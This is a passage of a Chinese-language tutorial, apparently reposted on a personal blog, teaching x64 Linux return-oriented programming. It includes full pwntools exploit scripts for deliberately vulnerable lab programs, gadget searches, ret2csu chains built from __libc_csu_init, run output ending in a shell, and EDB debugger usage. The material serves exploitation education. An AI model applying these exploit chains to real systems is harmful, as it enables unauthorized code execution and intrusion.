<p>#!bash<br>payload = “\x00”*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)<br>另外,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链。</p>
<p>#!bash<br>$ ROPgadget –binary libc.so.6 –only “pop|call” | grep rdi<br>0x000000000012da1d : call qword ptr [rdi]<br>0x0000000000187113 : call qword ptr [rdx + rdi + 0x8f10001]<br>0x00000000000f1f04 : call rdi<br>0x00000000000f4739 : pop rax ; pop rdi ; call rax<br>0x00000000000f473a : pop rdi ; call rax<br>通过搜索结果我们发现,0x00000000000f4739 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。</p>
<p>#!python<br>payload = “\x00”*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)<br>所以说这两个ROP链都可以完成我们的目标,随便选择一个进行攻击即可。最终exp如下:</p>
<p>#!python</p>
<p>#!/usr/bin/env python<br>from pwn import *</p>
<p>libc = ELF(‘libc.so.6’)</p>
<p>p = process(‘./level4’)</p>
<p>#p = remote(‘127.0.0.1’,10001)</p>
<p>binsh_addr_offset = next(libc.search(‘/bin/sh’)) -libc.symbols[‘system’]<br>print “binsh_addr_offset = “ + hex(binsh_addr_offset)</p>
<p>pop_ret_offset = 0x0000000000022a12 - libc.symbols[‘system’]<br>print “pop_ret_offset = “ + hex(pop_ret_offset)</p>
<p>#pop_pop_call_offset = 0x00000000000f4739 - libc.symbols[‘system’]</p>
<p>#print “pop_pop_call_offset = “ + hex(pop_pop_call_offset)</p>
<p>print “\n##########receiving system addr##########\n”<br>system_addr_str = p.recvuntil(‘\n’)<br>system_addr = int(system_addr_str,16)<br>print “system_addr = “ + hex(system_addr)</p>
<p>binsh_addr = system_addr + binsh_addr_offset<br>print “binsh_addr = “ + hex(binsh_addr)</p>
<p>pop_ret_addr = system_addr + pop_ret_offset<br>print “pop_ret_addr = “ + hex(pop_ret_addr)</p>
<p>#pop_pop_call_addr = system_addr + pop_pop_call_offset</p>
<p>#print “pop_pop_call_addr = “ + hex(pop_pop_call_addr)</p>
<p>p.recv()</p>
<p>payload = “\x00”*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) </p>
<p>#payload = “\x00”*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) </p>
<p>print “\n##########sending payload##########\n”<br>p.send(payload)</p>
<p>p.interactive()<br>运行结果如下:</p>
<p>#!bash<br>$ python exp6.py<br>[+] Started program ‘./level4’<br>binsh_addr_offset = 0x134d41<br>pop_ret_offset = -0x22d1e</p>
<p>##########receiving system addr##########</p>
<p>system_addr = 0x7f6f754d8730<br>binsh_addr = 0x7f6f7560d471<br>pop_ret_addr = 0x7f6f754b5a12</p>
<p>##########sending payload##########</p>
<p>[*] Switching to interactive mode<br>$ whoami<br>mzheng<br>五、通用gadgets<br>因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。</p>
<p>为了方便大家学习x64下的ROP,level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:</p>
<p>#!c</p>
<p>#include <stdio.h></p>
<p>#include <stdlib.h></p>
<p>#include <unistd.h></p>
<p>void vulnerable_function() {<br> char buf[128];<br> read(STDIN_FILENO, buf, 512);<br>}</p>
<p>int main(int argc, char** argv) {<br> write(STDOUT_FILENO, “Hello, World\n”, 13);<br> vulnerable_function();<br>}<br>可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。</p>
<p>#!bash<br>00000000004005a0 <<strong>libc_csu_init>:<br> 4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)<br> 4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)<br> 4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <</strong>init_array_end><br> 4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <<strong>init_array_end><br> 4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)<br> 4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)<br> 4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)<br> 4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)<br> 4005cc: 48 83 ec 38 sub $0x38,%rsp<br> 4005d0: 4c 29 e5 sub %r12,%rbp<br> 4005d3: 41 89 fd mov %edi,%r13d<br> 4005d6: 49 89 f6 mov %rsi,%r14<br> 4005d9: 48 c1 fd 03 sar $0x3,%rbp<br> 4005dd: 49 89 d7 mov %rdx,%r15<br> 4005e0: e8 1b fe ff ff callq 400400 <_init><br> 4005e5: 48 85 ed test %rbp,%rbp<br> 4005e8: 74 1c je 400606 <</strong>libc_csu_init+0x66><br> 4005ea: 31 db xor %ebx,%ebx<br> 4005ec: 0f 1f 40 00 nopl 0x0(%rax)<br> 4005f0: 4c 89 fa mov %r15,%rdx<br> 4005f3: 4c 89 f6 mov %r14,%rsi<br> 4005f6: 44 89 ef mov %r13d,%edi<br> 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)<br> 4005fd: 48 83 c3 01 add $0x1,%rbx<br> 400601: 48 39 eb cmp %rbp,%rbx<br> 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50><br> 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx<br> 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp<br> 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12<br> 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13<br> 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14<br> 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15<br> 400624: 48 83 c4 38 add $0x38,%rsp<br> 400628: c3 retq<br>我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。</p>
<p>我们先构造payload1,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。</p>
<p>#!bash</p>
<p>#rdi= edi = r13, rsi = r14, rdx = r15 </p>
<p>#write(rdi=1, rsi=write.got, rdx=4)<br>payload1 = “\x00”<em>136<br>payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret<br>payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx</em>8]<br>payload1 += “\x00”*56<br>payload1 += p64(main)<br>当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。</p>
<p>#!bash</p>
<p>#rdi= edi = r13, rsi = r14, rdx = r15 </p>
<p>#read(rdi=0, rsi=bss_addr, rdx=16)<br>payload2 = “\x00”<em>136<br>payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret<br>payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx</em>8]<br>payload2 += “\x00”*56<br>payload2 += p64(main)<br>最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。</p>
<p>#!bash</p>
<p>#rdi= edi = r13, rsi = r14, rdx = r15 </p>
<p>#system(rdi = bss_addr+8 = “/bin/sh”)<br>payload3 = “\x00”<em>136<br>payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret<br>payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx</em>8]<br>payload3 += “\x00”*56<br>payload3 += p64(main)<br>最终exp如下:</p>
<p>#!python</p>
<p>#!/usr/bin/env python<br>from pwn import *</p>
<p>elf = ELF(‘level5’)<br>libc = ELF(‘libc.so.6’)</p>
<p>p = process(‘./level5’)</p>
<p>#p = remote(‘127.0.0.1’,10001)</p>
<p>got_write = elf.got[‘write’]<br>print “got_write: “ + hex(got_write)<br>got_read = elf.got[‘read’]<br>print “got_read: “ + hex(got_read)</p>
<p>main = 0x400564</p>
<p>off_system_addr = libc.symbols[‘write’] - libc.symbols[‘system’]<br>print “off_system_addr: “ + hex(off_system_addr)</p>
<p>#rdi= edi = r13, rsi = r14, rdx = r15 </p>
<p>#write(rdi=1, rsi=write.got, rdx=4)<br>payload1 = “\x00”<em>136<br>payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret<br>payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx</em>8]<br>payload1 += “\x00”*56<br>payload1 += p64(main)</p>
<p>p.recvuntil(“Hello, World\n”)</p>
<p>print “\n#############sending payload1#############\n”<br>p.send(payload1)<br>sleep(1)</p>
<p>write_addr = u64(p.recv(8))<br>print “write_addr: “ + hex(write_addr)</p>
<p>system_addr = write_addr - off_system_addr<br>print “system_addr: “ + hex(system_addr)</p>
<p>bss_addr=0x601028</p>
<p>p.recvuntil(“Hello, World\n”)</p>
<p>#rdi= edi = r13, rsi = r14, rdx = r15 </p>
<p>#read(rdi=0, rsi=bss_addr, rdx=16)<br>payload2 = “\x00”<em>136<br>payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret<br>payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx</em>8]<br>payload2 += “\x00”*56<br>payload2 += p64(main)</p>
<p>print “\n#############sending payload2#############\n”<br>p.send(payload2)<br>sleep(1)</p>
<p>p.send(p64(system_addr))<br>p.send(“/bin/sh\0”)<br>sleep(1)</p>
<p>p.recvuntil(“Hello, World\n”)</p>
<p>#rdi= edi = r13, rsi = r14, rdx = r15 </p>
<p>#system(rdi = bss_addr+8 = “/bin/sh”)<br>payload3 = “\x00”<em>136<br>payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret<br>payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx</em>8]<br>payload3 += “\x00”*56<br>payload3 += p64(main)</p>
<p>print “\n#############sending payload3#############\n”</p>
<p>sleep(1)<br>p.send(payload3)</p>
<p>p.interactive()<br>要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。最终执行结果如下:</p>
<p>#!bash<br>$ python exp7.py<br>[+] Started program ‘./level5’<br>got_write: 0x601000<br>got_read: 0x601008<br>off_system_addr: 0xa1c40</p>
<p>#############sending payload1#############</p>
<p>write_addr: 0x7f79d5779370<br>system_addr: 0x7f79d56d7730</p>
<p>#############sending payload2#############</p>
<p>#############sending payload3#############</p>
<p>[*] Switching to interactive mode<br>$ whoami<br>mzheng<br>六、EDB调试器<br>我们在学习Linux ROP的过程中一定少不了调试这一环节,虽然gdb的功能很强大,但命令行界面对很多人来说并不友好。很多学习Windows调试的人用惯了ollydbg再接触gdb的话总感觉很难上手。其实在linux下也有类似于ollydbg的调试工具,那就是EDB-debugger。这里给出edb的下载地址,具体的编译请参考readme:EDB-debugger <a href="https://github.com/eteran/edb.." target="_blank" rel="noopener">https://github.com/eteran/edb..</a>.</p>
<p>下面我们就拿level5做例子来讲解一下如何使用EDB。首先是挂载(attach)进程和设置断点(break point)。我们知道当我们在用exp.py脚本进行攻击的时候,脚本会一直运行,我们并没有足够的时间进行挂载操作。想要进行调试的话我们需要让脚本暂停一下,随后再进行挂载。暂停的方法很简单,只需要在脚本中加一句”raw_input()”即可。比如说我们想在发送payload1之前暂停一下脚本,只需要这样:</p>
<p>ss = raw_input()<br>print “\n#############sending payload1#############\n”<br>p.send(payload1)<br>这样的话,当脚本运行起来后,就会在raw_input()这一行停下来,等待用户输入。这时候我们就可以启动EDB进行挂载了。</p>
<p>使用EDB进行挂载非常简单,输入进程名点ok即可。</p>
<p>挂载上以后就可以设置断点了。首先在调试窗口按”ctrl + g”就可以跳转到目标地址,我们这里将地址设置为0x400610,也就是第一个gadget的地址。</p>
<p>接着我们在0x400610这个地址前双击,就可以看到一个红点,说明我们已经成功的下了断点。接着按“F9”或者点击”Run”就可以让程序继续运行了。</p>
<p>虽然程序继续运行了,但是脚本还在继续等待用户的输入,这时候只需要在命令行按一下回车,程序就会继续运行,随后会暂停在”0x400610”这个断点。</p>
<p>接着我们可以按”F8”或者”F7”进行单步调试,主窗口会显示pc将要执行的指令以及执行后的结果。右边会看到各个寄存器的值。注意,在寄存器(比如说RSP)的值上点击右键,可以选择”follow in dump”,随后就在data dump窗口就能看到这个地址上对应数据是什么了。除此之外,EDB还支持动态修改内存数据,当你选中数据后,可以右键,选择”Edit Bytes”,就可以对选中的数据进行动态修改。</p>
<p>以上介绍的只是EDB的一些基本操作,在随后的章节中我们还会结合其他例子继续介绍一些EDB的高级用法。</p>
<p>七、小结<br>可以说ROP最大的艺术就是在于gadgets千变万化的组合了。因为篇幅原因我们准备将如何寻找以及组合gadgets的技巧留到随后的文章中去介绍。欢迎大家到时继续学习。</p>
<p>八、参考资料<br>64位Linux下的栈溢出</p>
<p>Week4-bigdata-丘比龙版银河系最详细Writeup!</p>
<p>作者:蒸米@阿里聚安全,更多安全类技术文章,请访问阿里聚安全博客</p>
<p>2016年11月07日发布<br>新浪微博微信TwitterFacebook<br>赞 | 0 收藏 | 6<br>你可能感兴趣的文章</p>
<p>Linux cmd(待补充) 6 收藏,412 浏览<br>Linux Namespace和Cgroup 7 收藏,415 浏览<br>Linux 挖坑不埋指南——甲篇 77 收藏,8.7k 浏览<br>评论默认排序时间排序</p>
<p>文明社会,理性评论<br>发布评论</p>
<p>关注作者<br> 阿里聚安全 阿里聚安全<br>380 声望<br>发布于专栏<br>阿里聚安全</p>
<p>阿里聚安全(<a href="http://jaq.alibaba.com)由阿里巴巴移动安全部出品,面向企业和开发者提供企业安全解决方案,全面覆盖移动安全、数据风控、内容安全、实人认证等维度,并在业界率先提出“以业务为中心的安全”,赋能生态,与行业共享阿里巴巴集团多年沉淀的专业安全能力。" target="_blank" rel="noopener">http://jaq.alibaba.com)由阿里巴巴移动安全部出品,面向企业和开发者提供企业安全解决方案,全面覆盖移动安全、数据风控、内容安全、实人认证等维度,并在业界率先提出“以业务为中心的安全”,赋能生态,与行业共享阿里巴巴集团多年沉淀的专业安全能力。</a></p>
<p>38 人关注 关注专栏</p>
<p>目录<br>一步一步学ROP之linux_x64篇<br>一、序<br>二、Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击<br>三、linux_64与linux_86的区别<br>四、使用工具寻找gadgets<br>五、通用gadgets<br>六、EDB调试器<br>七、小结<br>八、参考资料<br>你好!看起来你挺喜欢这个内容,但是你还没有注册帐号。 </p>
<p>当你创建了帐号,我们能准确地追踪你关注的问题,在有新答案或内容的时候收到网页和邮件通知。<br>还能直接向作者咨询更多细节。如果上面的内容有帮助,记得点赞 (♥◠‿◠)ノ 表示感谢。<br>立即注册<br>明天提醒我</p>
<p>网站相关<br>关于我们<br>服务条款<br>帮助中心<br>声望与权限<br>编辑器语法<br>每周精选<br>社区服务中心<br>联系合作<br>联系我们<br>加入我们<br>合作伙伴<br>媒体报道<br>建议反馈<br>常用链接<br>笔记插件: Chrome<br>笔记插件: Firefox<br>订阅:问答 / 文章<br>文档镜像<br>D-DAY 技术沙龙<br>黑客马拉松 Hackathon<br>域名搜索注册<br>周边店铺<br>社区日志<br>产品技术日志<br>社区运营日志<br>市场运营日志<br>团队日志<br>社区访谈<br>微信 新浪微博 Github Twitter<br>内容许可<br>除特别说明外,用户内容均采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可<br>本站由 又拍云 提供 CDN 存储服务</p>
<p>手机扫一扫</p>
<p>下载官方 App</p>
<p>Copyright © 2011-2017 SegmentFault. 当前呈现版本 17.06.16<br>浙ICP备 15005796号-2 浙公网安备 33010602002000号 杭州堆栈科技有限公司版权所有<br>回顶部</p>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2020/02/16/20200216-ROP攻击技术/" data-id="cli32j4n700277cvkfae7r3x4" class="article-share-link">Share</a>
<ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/Pwn/">Pwn</a></li></ul>
</footer>
</div>
</article>
<nav id="page-nav">
<span class="page-number current">1</span><a class="page-number" href="/page/2/">2</a><a class="page-number" href="/page/3/">3</a><a class="extend next" rel="next" href="/page/2/">Next »</a>
</nav>
</section>
<aside id="sidebar">
<div class="widget-wrap">
<h3 class="widget-title">Categories</h3>
<div class="widget">
<ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/CTF/">CTF</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Coding/">Coding</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Exploit/">Exploit</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Linux/">Linux</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Pwn/">Pwn</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/tools/">tools</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/工控协议/">工控协议</a><ul class="category-list-child"><li class="category-list-item"><a class="category-list-link" href="/categories/工控协议/逆向工程/">逆向工程</a></li></ul></li><li class="category-list-item"><a class="category-list-link" href="/categories/模糊测试/">模糊测试</a></li></ul>
</div>
</div>
<div class="widget-wrap">
<h3 class="widget-title">Tags</h3>
<div class="widget">
<ul class="tag-list"><li class="tag-list-item"><a class="tag-list-link" href="/tags/Exp/">Exp</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Exploit/">Exploit</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Filename/">Filename</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Heap-Pwn/">Heap Pwn</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Linux/">Linux</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Pwn/">Pwn</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/linux/">linux</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/nmap/">nmap</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/privilge/">privilge</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/基础概念类/">基础概念类</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/漏洞利用/">漏洞利用</a></li></ul>
</div>
</div>
<div class="widget-wrap">
<h3 class="widget-title">Tag Cloud</h3>
<div class="widget tagcloud">
<a href="/tags/Exp/" style="font-size: 10px;">Exp</a> <a href="/tags/Exploit/" style="font-size: 20px;">Exploit</a> <a href="/tags/Filename/" style="font-size: 10px;">Filename</a> <a href="/tags/Heap-Pwn/" style="font-size: 10px;">Heap Pwn</a> <a href="/tags/Linux/" style="font-size: 10px;">Linux</a> <a href="/tags/Pwn/" style="font-size: 10px;">Pwn</a> <a href="/tags/linux/" style="font-size: 10px;">linux</a> <a href="/tags/nmap/" style="font-size: 10px;">nmap</a> <a href="/tags/privilge/" style="font-size: 10px;">privilge</a> <a href="/tags/基础概念类/" style="font-size: 10px;">基础概念类</a> <a href="/tags/漏洞利用/" style="font-size: 15px;">漏洞利用</a>
</div>
</div>